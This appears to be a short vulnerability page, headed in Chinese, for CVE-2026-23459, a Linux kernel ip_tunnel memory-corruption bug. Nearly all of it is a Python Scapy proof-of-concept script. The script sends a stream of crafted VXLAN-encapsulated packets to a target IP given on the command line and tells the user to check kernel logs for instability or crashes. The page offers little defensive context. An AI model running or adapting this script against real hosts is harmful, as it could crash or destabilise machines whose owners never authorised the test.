CVE-2026-23459 Linux Kernel ip_tunnel内存损坏漏洞

# PoC for CVE-2026-23459: Triggering iptunnel_xmit_stats via VXLAN # This script requires Scapy: pip install scapy from scapy.all import * import sys def send_vxlan_traffic(target_ip, count=1000): # Craft a basic IP packet ip_packet = IP(dst=target_ip) / ICMP() # Encapsulate in VXLAN (Standard VXLAN port 4789) # VXLAN Header: Flags (0x08 for I flag), VNI (0) vxlan_packet = IP(dst=target_ip) / UDP(dport=4789, sport=12345) / VXLAN(vni=0) / Ether() / ip_packet print(f"[*] Sending {count} VXLAN packets to {target_ip} to trigger stats update...") # Send packets in a loop to trigger the statistics update path frequently for i in range(count): send(vxlan_packet, verbose=0) if i % 100 == 0: print(f"[*] Sent {i} packets...") print("[+] Done. Check kernel logs for instability or crashes.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_vxlan_traffic(target)